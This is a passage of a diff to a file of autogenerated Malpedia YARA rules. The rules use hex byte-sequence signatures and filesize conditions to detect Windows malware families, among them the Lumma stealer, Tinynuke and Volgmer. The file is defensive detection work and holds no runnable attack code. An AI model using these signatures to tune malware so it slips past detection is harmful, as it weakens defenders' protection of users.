$sequence_5 = { 00 1104 02 6f1f00000a 5a 1105 } + $sequence_6 = { 6f1400000a 740200001b 0c 1200 06 8e 69 } + $sequence_7 = { 58 91 1308 1108 20fd000000 59 } + $sequence_8 = { 282100000a 00 02 08 19 02 6f2200000a } + $sequence_9 = { 07 04 2804000006 0b 07 281200000a 6f1800000a } condition: - 7 of them and filesize < 1155072 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Darkdew_Auto : FILE +rule MALPEDIA_Win_Hawking_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "915d3fba-ccdb-58ec-bef5-fbfe3e57f2e5" + id = "ec9f39f6-86ba-5455-97b7-92972ad75506" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkdew_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawking" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hawking_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "2001511710881b4d822d294ff1446e10aa21b9b50a4d4e2fae3fc5a2bc0825b8" + logic_hash = "38946ce524bb812dc9a51e3c54c74cdb8d87a613cbaf2402323bc2266d8ec447" score = 75 quality = 75 tags = "FILE" @@ -121406,32 +121406,32 @@ rule MALPEDIA_Win_Darkdew_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d7e01 3bfb 7ed0 83c8ff eb07 8b04f55c710110 5f } - $sequence_1 = { 7214 8b49fc 83c223 2bc1 83c0fc 83f81f 0f87860f0000 } - $sequence_2 = { b991000000 8dbd70e2ffff 8bf2 f3a5 b991000000 } - $sequence_3 = { 6804010000 8d85b4fcffff 6a00 50 e8???????? 83c40c } - $sequence_4 = { 83fe10 8bbd68ffffff 0f43cf 8d5101 } - $sequence_5 = { c745e807000000 668945d4 83fa10 722c 8b4d9c 42 8bc1 } - $sequence_6 = { 8d85e4f7ffff f3a5 50 8d8528faffff b991000000 8bf3 8dbd18f9ffff } - $sequence_7 = { 8d9534fcffff 0f43ce 2bd1 8a01 8d4901 88440aff 84c0 } - $sequence_8 = { 83c404 83781408 7202 8b00 50 6a00 } - $sequence_9 = { eb07 8b0cc5645c0110 894de4 85c9 7455 8b4510 } + $sequence_0 = { 2c02 16 2a 06 } + $sequence_1 = { 06 6f2c00000a 26 06 6f2d00000a 6f2e00000a 750d000001 } + $sequence_2 = { 08 16 08 8e 69 6f2100000a } + $sequence_3 = { 2d04 26 14 2b05 } + $sequence_4 = { 281c00000a 02 07 6f1900000a 72ba010070 6f1a00000a 2807000006 } + $sequence_5 = { 0b 14 0c 732f00000a 0d 16 } + $sequence_6 = { 6f0e00000a 1200 280f00000a 2dde de0e 1200 fe160200001b } + $sequence_7 = { 2df6 06 6f06000006 de0c 6f3400000a 2801000006 } + $sequence_8 = { 0c 07 6f1900000a 72ba010070 } + $sequence_9 = { 03 282400000a 2801000006 732500000a 0a 06 } condition: - 7 of them and filesize < 279552 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Retefe_Auto : FILE +rule MALPEDIA_Win_Tinynuke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8aa29e0c-c404-5a57-8eda-15f9ee27924e" + id = "26956b4b-2451-5deb-9643-68612b9d6236" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.retefe_auto.yar#L1-L279" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinynuke_auto.yar#L1-L293" license_url = "N/A" - logic_hash = "2fe6220549475b9cb9f17de89d5a599ff0e604b2c25c7a541e74c1b0545a1a8f" + logic_hash = "19ead60aa2eb3196f69ad300611cd24757349dd6202d9e3aa3460ca7368338a0" score = 75 quality = 73 tags = "FILE" @@ -121445,53 +121445,54 @@ rule MALPEDIA_Win_Retefe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 8bf8 ffd6 85c0 } - $sequence_1 = { 68f5000000 50 ff15???????? b801000000 } - $sequence_2 = { e8???????? 6a08 e8???????? 894604 83c404 } - $sequence_3 = { 6a1c 6ae1 6aa5 6a00 6a14 6aea 6abe } - $sequence_4 = { 894604 83c404 8bc6 e8???????? } - $sequence_5 = { 6adb 6a1c 6ad8 6a2f 6ad1 6a0a } - $sequence_6 = { 6ada 6a53 6ac7 6a36 6acb 6a18 6ac4 } - $sequence_7 = { 8901 8b4e04 33c0 83c404 394104 } - $sequence_8 = { 8b4e04 40 3b4104 72ec } - $sequence_9 = { e8???????? 8b4e04 8901 8b4e04 } - $sequence_10 = { 51 8d9570efffff 52 50 50 50 6a01 } - $sequence_11 = { 6afa 6acb 6a12 6a79 } - $sequence_12 = { c1eb18 884101 c1ea10 33c0 } - $sequence_13 = { 50 e8???????? 88043e 46 83c404 3bf3 75ec } - $sequence_14 = { 0f8520010000 33c0 8ad8 8d8d04dcffff } - $sequence_15 = { 803800 740b 6a18 59 } - $sequence_16 = { 83e809 7443 83e801 0f8501010000 c745e014344100 8b4508 8bcf } - $sequence_17 = { 5d 5b c20800 833d????????00 } - $sequence_18 = { 8b7c2410 85f6 0f840b010000 53 e8???????? } - $sequence_19 = { 6a00 e8???????? 803d????????00 750c 8d859cdeffff } - $sequence_20 = { 8b0e 394104 761c 660f1f840000000000 8b11 8a88503e4100 } - $sequence_21 = { ff5004 8b4ddc 8b4104 895904 85c0 7406 8b08 } - $sequence_22 = { 8bf0 8b5508 83c9ff 83c2f0 f00fc14a0c } - $sequence_23 = { 8b5c2418 89442434 8b44241c 8d48f8 } - $sequence_24 = { 33c0 668945e8 8b45d4 886de5 8b1485a0bf4200 } - $sequence_25 = { 897de0 394508 7c1f 3934bd08d44500 } - $sequence_26 = { 57 8d3c85a8c14200 8b0f 85c9 740b 8d4101 f7d8 } - $sequence_27 = { 8b01 51 ff5008 8b4e0c 85c9 7406 } - $sequence_28 = { 7ead 8b0d???????? 8d857869ffff 6a00 } - $sequence_29 = { 0fb6c0 eb17 81fa00010000 7313 8a87ccb14200 08441619 } + $sequence_0 = { c3 55 8bec 817d0c00040000 } + $sequence_1 = { ff15???????? ff35???????? 8b7dfc 57 a3???????? ff15???????? ff35???????? } + $sequence_2 = { 5e 85c0 753c 56 8d45f8 } + $sequence_3 = { 8945f4 8d85d4feffff 50 ff15???????? } + $sequence_4 = { 83c418 a3???????? 5f 5e 5b c9 c3 } + $sequence_5 = { 8d8530f6ffff 50 6802020000 ff15???????? } + $sequence_6 = { 53 56 57 33c0 33db 6a07 } + $sequence_7 = { 6a03 53 53 6800000080 50 ff15???????? a3???????? } + $sequence_8 = { ff75ec ff75fc e8???????? 83c40c 5f } + $sequence_9 = { 50 ff15???????? ff35???????? 8d85a4feffff 50 ff15???????? } + $sequence_10 = { a3???????? 68e2010000 68???????? 68???????? e8???????? } + $sequence_11 = { 8b02 8a00 3c0a 7409 3c0d } + $sequence_12 = { 6a2a 50 8945fc ff15???????? } + $sequence_13 = { ff15???????? a3???????? ff35???????? ff75ec ff15???????? } + $sequence_14 = { a3???????? ff35???????? ff75f8 ff15???????? } + $sequence_15 = { c70604000000 e8???????? eb18 83f803 7519 } + $sequence_16 = { 59 8d85d0fcffff 50 8d85d8feffff 50 ff15???????? ff35???????? } + $sequence_17 = { 8d45dc 50 ff15???????? 8d85d0fcffff 50 e8???????? } + $sequence_18 = { 8d85d4fdffff 50 ff15???????? ff35???????? 8d85d4fdffff 50 ff15???????? } + $sequence_19 = { ff15???????? 8b35???????? 8d430c 50 } + $sequence_20 = { e8???????? 8945fc 8b0f 83ec08 85c9 75d6 } + $sequence_21 = { c70424???????? e8???????? 83ec08 85c0 75d6 } + $sequence_22 = { 85c0 7422 8b0cb2 83ec08 03cf ba???????? } + $sequence_23 = { 891c24 89442408 e8???????? 0fb76f06 } + $sequence_24 = { c785e4fdffff00000000 c785e0fdffff01000000 f3ab ff15???????? 8d85e8fdffff 6804010000 } + $sequence_25 = { e8???????? 83ec08 89c3 c7042400000000 e8???????? } + $sequence_26 = { 5b c20800 891c24 e8???????? 83ec04 } + $sequence_27 = { 89bdb8fdffff ff15???????? 83bdbcfdffff01 7477 8b85c4fdffff } + $sequence_28 = { 83ec0c 31c0 83c43c 5b 5e } + $sequence_29 = { 837c243401 7537 c744241400000000 c744241000000000 c744240c00000000 c7442408???????? c744240400000000 } + $sequence_30 = { 85c0 75d6 31db 8d742600 c70424???????? } condition: - 7 of them and filesize < 843776 + 7 of them and filesize < 1196032 } -rule MALPEDIA_Win_Skip20_Auto : FILE +rule MALPEDIA_Win_Bhunt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3a4637b8-f789-501b-b30e-9b5c38cc0f0d" + id = "d4af1ffc-8c62-52d5-b468-d6549e9f3fe4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skip20_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bhunt_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "37102bdc96bcca2b357e821094999917631ae97c09451ffb93720795a4f9e949" - score = 75 + logic_hash = "00be53192993cb157d23710f27883aec97e607f299251d85f4a360507da1c6b0" + score = 50 quality = 75 tags = "FILE" version = "1" @@ -121504,32 +121505,32 @@ rule MALPEDIA_Win_Skip20_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb74114 8b540824 4803d3 8b7c0820 4885d2 0f840b1d0000 } - $sequence_1 = { 488d0c40 4c8d0584fe0100 4d8b04c8 488bd7 } - $sequence_2 = { 894c2430 89542428 488d15fd2c0100 e9???????? 4c896c2450 66c744245cff25 } - $sequence_3 = { 488d0db5220100 e8???????? eb4a 4c896c2450 440fb74c2472 440fb7442470 } - $sequence_4 = { 4c8d254c540100 488b0d???????? bf01000000 897c2460 } - $sequence_5 = { 8bd6 81e200004000 747e 41ff4c2418 781e } - $sequence_6 = { ffc9 7432 ffc9 0f85150a0000 814e0400000002 4180e304 } - $sequence_7 = { e8???????? 0fb64732 ffc3 3bd8 72dd 4c21aea0000000 0fb74f18 } - $sequence_8 = { 7418 0fbae119 730a f68424b800000008 7508 41be01000000 } - $sequence_9 = { 0fb744247c 89442438 0fb74c247a 894c2430 0fb7542478 89542428 488d15652f0100 } + $sequence_0 = { f6c643 f65f47 146d 80739aea 7cf9 ed cf } + $sequence_1 = { ff7510 8d442414 50 8984240c070000 e8???????? 8bb42404070000 68???????? } + $sequence_2 = { 50 e8???????? 8d86001c0000 50 8d85b6f3ffff 50 e8???????? } + $sequence_3 = { 6613c6 8b07 84c8 f8 8dbf04000000 66f7c76d13 33c3 } + $sequence_4 = { 83c40c 6a03 bbfb020000 e8???????? 50 56 e8???????? } + $sequence_5 = { 83e01f c1f905 8b0c8d00e04900 c1e006 8d44010c 50 e8???????? } + $sequence_6 = { 85c0 751f 8b4518 0118 33c0 5f 5e } + $sequence_7 = { 46 56 68???????? 56 56 e8???????? 85c0 } + $sequence_8 = { fc 8e04a5???????? 33ef aa 3417 ed b877eefc1d } + $sequence_9 = { 2522e9fb64 794f 8b00 9a5250f0069a5c 2640 2e9b 1a489f } condition: - 7 of them and filesize < 794624 + 7 of them and filesize < 19161088 } -rule MALPEDIA_Win_Kgh_Spy_Auto : FILE +rule MALPEDIA_Win_Doublefantasy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dc190002-e772-5121-92cd-702f57df5a52" + id = "ba30a5f3-35d1-5f03-be08-9b3934519f6b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kgh_spy_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublefantasy_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "e5faa391b98537b62aa0655593e441fa8bf7b12383d96ea8cca680986ba0c716" + logic_hash = "1a0409b74271064d42217a7a2221717756e298061c677390a0017c2a29a907a4" score = 75 quality = 75 tags = "FILE" @@ -121543,34 +121544,40 @@ rule MALPEDIA_Win_Kgh_Spy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 488b8c24a0000000 ff15???????? 0fb605???????? 88842480010000 488d842481010000 488bf8 } - $sequence_1 = { 488d0dd0fd0000 e8???????? c744244000000000 c744244800000000 488d442460 488d0def150100 488bf8 } - $sequence_2 = { ff15???????? 4889442468 48837c246800 7507 32c0 e9???????? 48c744243800000000 } - $sequence_3 = { 448d4202 e8???????? 8bcb e8???????? 85c0 0f84bc020000 488d0517bf0000 } - $sequence_4 = { 75eb 488b442430 488b8c2490000000 4803c8 488bc1 } - $sequence_5 = { e8???????? 488905???????? 48833d????????00 7504 32c0 eb26 ba855d05a6 } - $sequence_6 = { 488d8424f0030000 488bf8 33c0 b908020000 f3aa 4c8d0df7e30000 } - $sequence_7 = { 89442428 488d8424300e0000 4889442420 448bc9 4c8d8424300a0000 } - $sequence_8 = { 488b442428 8b4c2430 894808 4863442424 4889442440 488b7c2430 33c0 } - $sequence_9 = { ff15???????? 0fb605???????? 888424a0030000 488d8424a1030000 488bf8 33c0 } + $sequence_0 = { bfd3360000 57 6a40 8b35???????? ffd6 } + $sequence_1 = { 8b442404 0fb608 c1e902 8a91908c2700 8b4c2408 8811 33d2 } + $sequence_2 = { e8???????? 8bcb 2bc8 51 ff7514 } + $sequence_3 = { 50 6a00 56 8907 e8???????? 83c40c } + $sequence_4 = { 66ab be???????? 8dbd9ffaffff a5 } + $sequence_5 = { ff15???????? eb72 56 6a00 ff75e0 e8???????? ff75e4 } + $sequence_6 = { 83e20f c1e202 0bd6 8a92908c2700 eb02 b23d 837c241002 } + $sequence_7 = { ff750c ff7508 e8???????? 83c414 8945e0 } + $sequence_8 = { 8a80ad8c2700 eb02 32c0 84c0 } + $sequence_9 = { 891485a4ab2700 40 3bc1 72f1 } + $sequence_10 = { 8a92908c2700 885101 7e1c 0fb67002 33d2 8a5001 c1ee06 } + $sequence_11 = { 8a80908c2700 eb02 b03d 884103 } + $sequence_12 = { 33c0 85c9 7616 8da42400000000 8d50fd 891485a4ab2700 40 } + $sequence_13 = { b9d2360000 51 52 48 } + $sequence_14 = { c68094a3270000 ff35???????? ff35???????? e8???????? 83c414 e8???????? } + $sequence_15 = { ff37 ff750c 8b460c 03c3 50 e8???????? } condition: - 7 of them and filesize < 207872 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Volgmer_Auto : FILE +rule MALPEDIA_Win_Sarhust_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c708d481-8667-53f5-aa6f-d4a1c7cf85b4" + id = "1f82eb40-7df1-5fcd-972c-65036c547e83" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.volgmer_auto.yar#L1-L402" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sarhust_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "76496bf022136cb4a0da9750dca0578c8d8bf2a12423d01c51f00f5c1f22514f" + logic_hash = "6be2d8277b702e649c294d54fc6ec35174e3abad1edfa4501c6a9845d06e8218" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -121582,68 +121589,34 @@ rule MALPEDIA_Win_Volgmer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4533c0 498bd5 33c9 c744242800000008 } - $sequence_1 = { 7454 33d2 488d4c2434 41b804040000 e8???????? 448d4606 } - $sequence_2 = { 7406 488bcf ff5588 4533c9 4533c0 33d2 } - $sequence_3 = { 4889442420 4c8d442448 418d5108 41ffd4 4c8d8da0030000 498bce } - $sequence_4 = { 4883c9ff 48ffc1 803c0800 75f7 66ffc1 488d8560030000 } - $sequence_5 = { 8801 488d4901 ffc0 3d00010000 7cf1 6644899600010000 } - $sequence_6 = { e8???????? e8???????? e8???????? c705????????04000000 } - $sequence_7 = { 488d8d270d0000 0f280d???????? 33d2 0fb705???????? 41b8c5010000 0f1185e40c0000 } - $sequence_8 = { 488d8d20050000 ff542460 488bcb ff542468 8bc6 } - $sequence_9 = { 488d8d400f0000 e8???????? 8bd6 c68435400f000000 488d8d400f0000 } - $sequence_10 = { e8???????? 85c0 740c 418bdd e9???????? 4983cfff } - $sequence_11 = { 33d2 41b808020000 6644896d80 e8???????? 488b3d???????? 33c0 } - $sequence_12 = { 3bd7 89542410 750d 57 } - $sequence_13 = { 89831c0c0000 eb15 8d4601 50 e8???????? 89831c0c0000 83c404 } - $sequence_14 = { 4833c4 48894537 4c8b25???????? 33c0 c745d701234567 8945a3 } - $sequence_15 = { 8bfe 83e03f c1ff06 6bd830 8b04bd80f17300 f644032801 } - $sequence_16 = { c1f906 6bf630 8b0c8d80f16e00 80643128fd 5f 5e } - $sequence_17 = { 6a26 58 0fb60c8536976e00 0fb6348537976e00 8bf9 8985b4f8ffff c1e702 } - $sequence_18 = { 6bd030 895de4 8b049d80f17300 8945d4 } - $sequence_19 = { 89855cf5ffff 0f84df040000 8d8618030000 50 8d85f4fbffff } - $sequence_20 = { 83e809 7443 83e801 0f8501010000 c745e0e4ba6e00 8b4508 8bcf } - $sequence_21 = { c645e316 ff15???????? 410fb7cd 668945e4 } - $sequence_22 = { 8b2d???????? 50 ffd5 8d942480000000 52 ff15???????? } - $sequence_23 = { 83f808 74ba 83f807 77c5 ff2485d1a86d00 8bce } - $sequence_24 = { f3ab 66ab 33c0 8d4c2404 89442409 51 } - $sequence_25 = { 448bc7 4803ce e8???????? 8d7709 488b5310 } - $sequence_26 = { 4c89642440 4c896c2438 488d3576a50100 4c8d056ba50100 } - $sequence_27 = { 663944244d 0f8593010000 488d4f10 4c8d442458 488d542458 448bce } - $sequence_28 = { 8d3c85c8f46e00 8b0f 85c9 740b } - $sequence_29 = { c6442412ed c644241396 c644241425 c644241528 c6442416fd } - $sequence_30 = { 8b04c520986e00 5d c3 33c0 } - $sequence_31 = { 56 83f815 0f8711010000 ff2485786b6d00 51 8d5106 } - $sequence_32 = { e8???????? 83c40c c785e0f3ffff00040000 8d85e0f3ffff 50 } - $sequence_33 = { 5d c3 b801000000 ebc5 b988130000 } - $sequence_34 = { 55 6a00 6a00 8d442410 6a1a } - $sequence_35 = { eb57 53 8b1c85d8886e00 56 6800080000 6a00 } - $sequence_36 = { e8???????? 29bb50000500 448bd8 3bbb54000500 } - $sequence_37 = { 88442419 c644241a13 c644241b0e c644241c5d c644241d9f } - $sequence_38 = { 48f7d1 4c8d0409 488d4dc0 e8???????? 4c8d4c2440 } - $sequence_39 = { 50 ff15???????? 837e0c00 8bf8 0f840a010000 8d8e18030000 51 } - $sequence_40 = { 428b4c8440 0f1f440000 3b8c8440010000 7419 48ffc0 } - $sequence_41 = { 41b800800000 e8???????? 81834c0005000080ffff 8183440005000080ffff } - $sequence_42 = { 6800010000 8db318010000 6a00 56 e8???????? 6800010000 } - $sequence_43 = { 8bf8 0f84df020000 8d8318030000 50 8d85bcf7ffff } + $sequence_0 = { e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? } + $sequence_1 = { 8d8d4cffffff e8???????? 6a00 ff15???????? } + $sequence_2 = { 6801000080 ff15???????? 85c0 7408 ff15???????? } + $sequence_3 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? } + $sequence_4 = { eb08 8b4520 8b4d0c 8908 } + $sequence_5 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 } + $sequence_6 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff } + $sequence_7 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? } + $sequence_8 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 } + $sequence_9 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? } condition: - 7 of them and filesize < 393216 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Lumma_Auto : FILE +rule MALPEDIA_Win_Charon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "18aafe26-24fd-5a9a-bbc9-ae4c88d965fc" + id = "01b8556c-ee40-53b7-952a-8e2b8282fe20" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lumma_auto.yar#L1-L194" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.charon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.charon_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "5ba9e6acd0a483b46312a1312db0d7f170a01587be01ff146763c3e3b48ae6c9" + logic_hash = "b28dd8515b960c3adbfdc7b51b8085f45af8b6d7308fa151efcf52d4fa2fa9ad" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -121655,45 +121628,34 @@ rule MALPEDIA_Win_Lumma_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 ff767c ff7678 ff7644 } - $sequence_1 = { ffd0 83c40c 894648 85c0 } - $sequence_2 = { 894604 8b461c c1e002 50 } - $sequence_3 = { ff7678 ff7644 ff563c 83c414 } - $sequence_4 = { 833800 740a e8???????? 833822 } - $sequence_5 = { 66894316 0fb7560e 0fb74e0c e8???????? } - $sequence_6 = { 66894338 8b4626 89433c 8b462a } - $sequence_7 = { 8b4610 894320 8b4614 894328 } - $sequence_8 = { e8???????? 83c40c 6a02 6804010000 e8???????? } - $sequence_9 = { 017e78 83567c00 017e68 83566c00 } - $sequence_10 = { 83f900 75f1 83ec04 8b4508 e8???????? 89ec 5d } - $sequence_11 = { 31c0 837e3808 0f94c0 294628 } - $sequence_12 = { 0f94c3 89d5 09cd 0f95c7 } - $sequence_13 = { 0f95c7 30df 7514 837e6c00 } - $sequence_14 = { 8b5204 45 8b4208 45 8b4a0c 49 83fe04 } - $sequence_15 = { 01e8 56 ff742424 50 } - $sequence_16 = { 50 57 ff7618 e8???????? 83c40c 894618 } - $sequence_17 = { 01c9 39dd ba00000000 19c2 72f1 } - $sequence_18 = { 234608 7418 8b8684000000 29f8 } - $sequence_19 = { 31ed 89ae88000000 c7868c00000000000000 899e80000000 833e00 } - $sequence_20 = { 8b550c 6bd204 89d1 83e904 8b5510 8b1c0a } + $sequence_0 = { 8b4c2420 8d0c8d01000000 4863c9 88440c50 b803000000 2b442420 4898 } + $sequence_1 = { 050b020000 8bc0 488b8c2460020000 8b0481 038424f8010000 8b8c24fc010000 8b942400020000 } + $sequence_2 = { 480bc1 48c1f802 4825ffffff01 b908000000 486bc901 488b542408 } + $sequence_3 = { 486bc000 488b8c2460020000 8b840140100000 c1e00a b904000000 486bc900 488b942460020000 } + $sequence_4 = { 48c1e108 480bc1 b901000000 486bc90e 488b542410 0fb60c0a 48c1e110 } + $sequence_5 = { c784249c00000000000000 8b0424 8b4c2408 03c8 } + $sequence_6 = { 488b942460020000 8b8c0a40100000 c1e916 0bc1 898424d8010000 b804000000 486bc00f } + $sequence_7 = { 050f020000 8bc0 488b8c2460020000 8b0481 03842438020000 8b8c243c020000 8b942440020000 } + $sequence_8 = { 0bc1 89442448 b804000000 486bc004 488b8c2460020000 0fb6840100100000 88442443 } + $sequence_9 = { 48c744243000000000 8b8424c0000000 89442428 488b842430010000 4889442420 448b8c24f0000000 } condition: - 7 of them and filesize < 1115136 + 7 of them and filesize < 254976 } -rule MALPEDIA_Win_Plead_Auto : FILE +rule MALPEDIA_Win_Ksl0T_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea1e32f2-faad-594a-a682-0f661211cc9b" + id = "38d6ccea-2477-53a3-80c5-72d7cca1e17c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plead_auto.yar#L1-L223" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ksl0t_auto.yar#L1-L172" license_url = "N/A" - logic_hash = "e24e1751ade86b382e488f87af3eb86584ff682352dde27167e20cbed17a20c8" + logic_hash = "d56faacde84036ddaab537f194f3df4539ee4dbdadae9af8318bac8df1d8305a" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -121705,46 +121667,38 @@ rule MALPEDIA_Win_Plead_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 897d14 e8???????? 83c40c 8d4514 } - $sequence_1 = { 8b4514 56 881c30 ff15???????? } - $sequence_2 = { 40 50 6a01 ff15???????? 83c40c } - $sequence_3 = { 90 0145fc ff75fc ff15???????? } - $sequence_4 = { 53 6a05 ff7508 ff15???????? } - $sequence_5 = { 3bf7 740f ebda 33f6 } - $sequence_6 = { 50 8b4518 03c6 57 } - $sequence_7 = { ebda 33f6 c745fcf8ffffff 3bf7 750c 895dfc } - $sequence_8 = { 40 49 8975fc 75ec 8bc6 5e } - $sequence_9 = { 81c900ffffff 41 85c9 7e1c 55 } - $sequence_10 = { 33c0 81c418020000 c21000 8b84241c020000 6a00 6a00 6801020000 } - $sequence_11 = { 50 ff15???????? 33c0 81c418020000 } - $sequence_12 = { 7cf1 ffd3 8b35???????? 2bc7 3de8030000 760f } - $sequence_13 = { 8844341c 46 3bf1 7cf1 } - $sequence_14 = { c145fc05 8b75fc 33d2 8a10 03f2 40 } - $sequence_15 = { 6804010000 ff15???????? 8b4c2412 8b54240e 8b44240c } - $sequence_16 = { 648b1530000000 8b520c 8b521c 8b5a08 } - $sequence_17 = { eb02 8bfa 8955f4 897df0 } - $sequence_18 = { 8dbd00ffffff 33db 891f 0fb602 42 } - $sequence_19 = { 85c0 750f 6800800000 6a00 ff75f8 ff5648 eb0d } - $sequence_20 = { d3e0 f7c200000004 7403 80cc02 } - $sequence_21 = { 75f1 5e 8b4624 03c3 668b1450 } - $sequence_22 = { 8b562c c7048a00000000 8b7df0 8b07 } - $sequence_23 = { 8b4510 40 c1c803 ab 3bef } + $sequence_0 = { 44895c2440 897c2438 89542430 894c2428 89442420 488d15a8cb0000 } + $sequence_1 = { 4885c9 7405 e8???????? 488b8ba0000000 488d057f5c0000 483bc8 7405 } + $sequence_2 = { 48894c2408 4883ec18 c744240400000000 8b4c2404 8b442428 } + $sequence_3 = { c68424e700000020 889c24e8000000 888424e9000000 c68424ea0000002d c68424eb00000002 888c24ec000000 c64424381a } + $sequence_4 = { 83c008 898424f4080000 448b05???????? 49d1e0 } + $sequence_5 = { c644243331 c644243439 c644243539 884c2436 } + $sequence_6 = { c684248600000067 88942487000000 c684248800000031 c684248900000039 c684248a00000039 } + $sequence_7 = { 488b442450 8138a0000000 7470 833d????????00 7528 } + $sequence_8 = { 6800020000 57 8d95000d0000 52 } + $sequence_9 = { 888c24fd000000 c68424b000000012 888424b1000000 889c24b2000000 c68424b300000019 c68424b400000034 } + $sequence_10 = { 889c2451020000 c684245202000073 c68424530200006c c684245402000065 c68424550200006e c684245602000000 } + $sequence_11 = { 488d0d67a70000 e8???????? 488d1556aa0000 4c8d050f3d0000 488d4c38de 41b903000000 482bd1 } + $sequence_12 = { c68424eb00000018 c68424ec0000003a c68424ed00000031 c68424ee00000020 c68424ef00000039 c68424f000000030 } + $sequence_13 = { c68424f80200006c c68424f902000073 c68424fa02000074 c68424fb02000072 } + $sequence_14 = { 390424 7d46 48630c24 488b442428 440fbe0408 4863442420 33d2 } + $sequence_15 = { 33c9 66898d60060000 6806020000 51 8d9562060000 52 e8???????? } condition: - 7 of them and filesize < 8224768 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Mespinoza_Auto : FILE +rule 